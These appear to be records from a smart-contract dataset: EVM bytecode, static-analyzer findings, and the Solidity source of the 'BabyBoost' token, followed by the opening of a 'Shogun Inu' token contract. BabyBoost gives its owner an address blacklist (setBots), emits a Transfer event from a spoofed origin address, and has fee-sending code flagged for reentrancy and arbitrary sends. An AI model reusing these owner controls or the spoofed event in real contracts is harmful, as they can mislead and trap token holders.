b03831660009081526008602052604090205460019060ff168061106057506001600160a01b03831660009081526008602052604090205460ff165b15611069575060005b61107584848484611510565b50505050565b6000818484111561110a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110cf5781810151838201526020016110b7565b50505050905090810190601f1680156110fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600a80546001600160a01b0316906108fc9061113690600390610fd4908690611432565b6040518115909202916000818181858888f1935050505015801561115e573d6000803e3d6000fd5b50600b546001600160a01b03166108fc61117e6007610fd485600a611432565b6040518115909202916000818181858888f193505050501580156111a6573d6000803e3d6000fd5b5050565b60006005548211156111ed5760405162461bcd60e51b815260040180806020018281038252602a8152602001806118a5602a913960400191505060405180910390fd5b60006111f761153c565b90506112038382611432565b9392505050565b600d805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061124c57fe5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112a057600080fd5b505afa1580156112b4573d6000803e3d6000fd5b505050506040513d60208110156112ca57600080fd5b50518151829060019081106112db57fe5b6001600160a01b039283166020918202929092010152600c546113019130911684610c6d565b600c5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561138757818101518382015260200161136f565b505050509050019650505050505050600060405180830381600087803b1580156113b057600080fd5b505af11580156113c4573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6000826113e857506000610495565b828202828482816113f557fe5b04146112035760405162461bcd60e51b81526004018080602001828103825260218152602001806118f16021913960400191505060405180910390fd5b600061120383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061155f565b600082820183811015611203576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061120383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061107b565b8061151d5761151d6115c4565b6115288484846115eb565b80611075576110756002600f556004601055565b60008060006115496116e0565b90925090506115588282611432565b9250505090565b600081836115ae5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156110cf5781810151838201526020016110b7565b5060008385816115ba57fe5b0495945050505050565b600f541580156115d45750601054155b156115de576115e9565b6000600f8190556010555b565b6000806000806000806115fd87611717565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162f90876114ce565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165e9086611474565b6001600160a01b03891660009081526002602052604090205561168081611774565b61168a84836117be565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60055460045460009182916116f58282611432565b82101561170d57600554600454935093505050611713565b90925090505b9091565b60008060008060008060008060006117348a600f546010546117e2565b925092509250600061174461153c565b905060008060006117578e878787611831565b919e509c509a509598509396509194505050505091939550919395565b600061177e61153c565b9050600061178c83836113d9565b306000908152600260205260409020549091506117a99082611474565b30600090815260026020526040902055505050565b6005546117cb90836114ce565b6005556006546117db9082611474565b6006555050565b60008080806117f6606461087d89896113d9565b90506000611809606461087d8a896113d9565b905060006118218261181b8b866114ce565b906114ce565b9992985090965090945050505050565b600080808061184088866113d9565b9050600061184e88876113d9565b9050600061185c88886113d9565b9050600061186e8261181b86866114ce565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a804559030dcfacc78a44d61869a8040c64c5e016023030d519cbf34ccf2057c64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,430 |
0xef8097a663B4dc9AaF414BA9ccEf3d7313DdF096
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyBoost is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _marketingWallet1;
address payable private _marketingWallet2;
address payable private _devWallet;
address payable private _MMWallet;
string private constant _name = "BabyBoost";
string private constant _symbol = "BBOOST";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) {
_marketingWallet1 = addr1;
_marketingWallet2 = addr2;
_devWallet = addr3;
_MMWallet = addr4;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingWallet1] = true;
_isExcludedFromFee[_marketingWallet2] = true;
_isExcludedFromFee[_devWallet] = true;
_isExcludedFromFee[_MMWallet] = true;
_isExcludedFromFee[addr5] = true;
emit Transfer(address(0xEE72635914C510637c77B85232572d10f72b5A0E), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
_feeAddr1 = 2;
_feeAddr2 = 9;
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingWallet1.transfer(amount.div(9).mul(2));
_marketingWallet2.transfer(amount.div(9).mul(2));
_devWallet.transfer(amount.div(9).mul(3));
_MMWallet.transfer(amount.div(9).mul(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2e7 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a1461031c578063c3c8cd801461033c578063c9567bf914610351578063dd62ed3e14610366578063ff872602146103ac57600080fd5b806370a0823114610270578063715018a6146102905780638da5cb5b146102a557806395d89b41146102cd578063a9059cbb146102fc57600080fd5b8063273123b7116100e7578063273123b7146101dd578063313ce567146101ff578063437823ec1461021b5780635932ead11461023b5780636fc3eaec1461025b57600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101bd57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260098152681098589e509bdbdcdd60ba1b60208201525b60405161015f9190611717565b60405180910390f35b34801561017457600080fd5b50610188610183366004611791565b6103c1565b604051901515815260200161015f565b3480156101a457600080fd5b50670de0b6b3a76400005b60405190815260200161015f565b3480156101c957600080fd5b506101886101d83660046117bd565b6103d8565b3480156101e957600080fd5b506101fd6101f83660046117fe565b610441565b005b34801561020b57600080fd5b506040516009815260200161015f565b34801561022757600080fd5b506101fd6102363660046117fe565b610495565b34801561024757600080fd5b506101fd610256366004611829565b6104e3565b34801561026757600080fd5b506101fd61052b565b34801561027c57600080fd5b506101af61028b3660046117fe565b610562565b34801561029c57600080fd5b506101fd610584565b3480156102b157600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102d957600080fd5b50604080518082019091526006815265109093d3d4d560d21b6020820152610152565b34801561030857600080fd5b50610188610317366004611791565b6105f8565b34801561032857600080fd5b506101fd61033736600461185c565b610605565b34801561034857600080fd5b506101fd61069b565b34801561035d57600080fd5b506101fd6106db565b34801561037257600080fd5b506101af610381366004611921565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103b857600080fd5b506101fd610a9c565b60006103ce338484610ad5565b5060015b92915050565b60006103e5848484610bf9565b610437843361043285604051806060016040528060288152602001611b20602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f46565b610ad5565b5060019392505050565b6000546001600160a01b031633146104745760405162461bcd60e51b815260040161046b9061195a565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104bf5760405162461bcd60e51b815260040161046b9061195a565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b0316331461050d5760405162461bcd60e51b815260040161046b9061195a565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105555760405162461bcd60e51b815260040161046b9061195a565b4761055f81610f80565b50565b6001600160a01b0381166000908152600260205260408120546103d2906110a5565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260040161046b9061195a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ce338484610bf9565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161046b9061195a565b60005b8151811015610697576001600660008484815181106106535761065361198f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f816119bb565b915050610632565b5050565b6000546001600160a01b031633146106c55760405162461bcd60e51b815260040161046b9061195a565b60006106d030610562565b905061055f81611129565b6000546001600160a01b031633146107055760405162461bcd60e51b815260040161046b9061195a565b601154600160a01b900460ff161561075f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046b565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561079b3082670de0b6b3a7640000610ad5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d457600080fd5b505afa1580156107e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080c91906119d6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085457600080fd5b505afa158015610868573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088c91906119d6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108d457600080fd5b505af11580156108e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090c91906119d6565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d719473061093c81610562565b6000806109516000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109b457600080fd5b505af11580156109c8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109ed91906119f3565b50506011805466470de4df82000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6457600080fd5b505af1158015610a78573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106979190611a21565b6000546001600160a01b03163314610ac65760405162461bcd60e51b815260040161046b9061195a565b683635c9adc5dea00000601255565b6001600160a01b038316610b375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046b565b6001600160a01b038216610b985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c5d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046b565b6001600160a01b038216610cbf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046b565b60008111610d215760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046b565b6000546001600160a01b03848116911614801590610d4d57506000546001600160a01b03838116911614155b15610f36576001600160a01b03831660009081526006602052604090205460ff16158015610d9457506001600160a01b03821660009081526006602052604090205460ff16155b610d9d57600080fd5b6011546001600160a01b038481169116148015610dc857506010546001600160a01b03838116911614155b8015610ded57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e025750601154600160b81b900460ff165b15610e69576002600a556009600b55601254811115610e2057600080fd5b6001600160a01b0382166000908152600760205260409020544211610e4457600080fd5b610e4f42601e611a3e565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610e9457506010546001600160a01b03848116911614155b8015610eb957506001600160a01b03831660009081526005602052604090205460ff16155b15610ec9576002600a556009600b555b6000610ed430610562565b601154909150600160a81b900460ff16158015610eff57506011546001600160a01b03858116911614155b8015610f145750601154600160b01b900460ff165b15610f3457610f2281611129565b478015610f3257610f3247610f80565b505b505b610f418383836112b2565b505050565b60008184841115610f6a5760405162461bcd60e51b815260040161046b9190611717565b506000610f778486611a56565b95945050505050565b600c546001600160a01b03166108fc610fa56002610f9f8560096112bd565b906112ff565b6040518115909202916000818181858888f19350505050158015610fcd573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610fed6002610f9f8560096112bd565b6040518115909202916000818181858888f19350505050158015611015573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6110356003610f9f8560096112bd565b6040518115909202916000818181858888f1935050505015801561105d573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61107d6002610f9f8560096112bd565b6040518115909202916000818181858888f19350505050158015610697573d6000803e3d6000fd5b600060085482111561110c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046b565b600061111661137e565b905061112283826112bd565b9392505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111715761117161198f565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111c557600080fd5b505afa1580156111d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111fd91906119d6565b816001815181106112105761121061198f565b6001600160a01b0392831660209182029290920101526010546112369130911684610ad5565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061126f908590600090869030904290600401611a6d565b600060405180830381600087803b15801561128957600080fd5b505af115801561129d573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b610f418383836113a1565b600061112283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611498565b60008261130e575060006103d2565b600061131a8385611ade565b9050826113278583611afd565b146111225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046b565b600080600061138b6114c6565b909250905061139a82826112bd565b9250505090565b6000806000806000806113b387611506565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113e59087611563565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461141490866115a5565b6001600160a01b03891660009081526002602052604090205561143681611604565b611440848361164e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148591815260200190565b60405180910390a3505050505050505050565b600081836114b95760405162461bcd60e51b815260040161046b9190611717565b506000610f778486611afd565b6008546000908190670de0b6b3a76400006114e182826112bd565b8210156114fd57505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006115238a600a54600b54611672565b925092509250600061153361137e565b905060008060006115468e8787876116c7565b919e509c509a509598509396509194505050505091939550919395565b600061112283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f46565b6000806115b28385611a3e565b9050838110156111225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046b565b600061160e61137e565b9050600061161c83836112ff565b3060009081526002602052604090205490915061163990826115a5565b30600090815260026020526040902055505050565b60085461165b9083611563565b60085560095461166b90826115a5565b6009555050565b600080808061168c606461168689896112ff565b906112bd565b9050600061169f60646116868a896112ff565b905060006116b7826116b18b86611563565b90611563565b9992985090965090945050505050565b60008080806116d688866112ff565b905060006116e488876112ff565b905060006116f288886112ff565b90506000611704826116b18686611563565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561174457858101830151858201604001528201611728565b81811115611756576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461055f57600080fd5b803561178c8161176c565b919050565b600080604083850312156117a457600080fd5b82356117af8161176c565b946020939093013593505050565b6000806000606084860312156117d257600080fd5b83356117dd8161176c565b925060208401356117ed8161176c565b929592945050506040919091013590565b60006020828403121561181057600080fd5b81356111228161176c565b801515811461055f57600080fd5b60006020828403121561183b57600080fd5b81356111228161181b565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561186f57600080fd5b823567ffffffffffffffff8082111561188757600080fd5b818501915085601f83011261189b57600080fd5b8135818111156118ad576118ad611846565b8060051b604051601f19603f830116810181811085821117156118d2576118d2611846565b6040529182528482019250838101850191888311156118f057600080fd5b938501935b828510156119155761190685611781565b845293850193928501926118f5565b98975050505050505050565b6000806040838503121561193457600080fd5b823561193f8161176c565b9150602083013561194f8161176c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119cf576119cf6119a5565b5060010190565b6000602082840312156119e857600080fd5b81516111228161176c565b600080600060608486031215611a0857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a3357600080fd5b81516111228161181b565b60008219821115611a5157611a516119a5565b500190565b600082821015611a6857611a686119a5565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611abd5784516001600160a01b031683529383019391830191600101611a98565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611af857611af86119a5565b500290565b600082611b1a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f1a286cf4d7ccc40e47435887fdcfe9faa2f6fedd45df6357153bea8cfa83b2964736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,431 |
0x8079ebd801919ecaff13c71ccbcf0c8467503227
|
/**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
/*
_
\`\
\ \
\ \
\ \
\.\
\.\
\.\
_ \.\/)
_ _-' ')__ (\.\/)
/ / \.'`'-\/)\\
\__ ,.-'(_ Y (_\.\)
/ < ,\ \ ,\\.\\
\_ \ _. /y(_| : |\.\| KILL THE JEETS (CHOP)
_\_\<o>\ | : | \.\
( `'-._>/ ) \| \.\
\ `:=. (\ \.\
\_ ( `--._)`--'\.\=7
_/|\_ \-._ `-:_ /```-3
/ | `- \ t--._ Y _3
,-' | / | /``'-.\--T x\
_/ _( ,./ / ( \ x\
_.-/ \ / < \ \ x\
<`' / |\/ `-. : \_x\
\ / | `. |
\_| / `.
| / `.
/ _/\ /
https://t.me/shoguninu
https://t.me/shoguninu
https://t.me/shoguninu
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
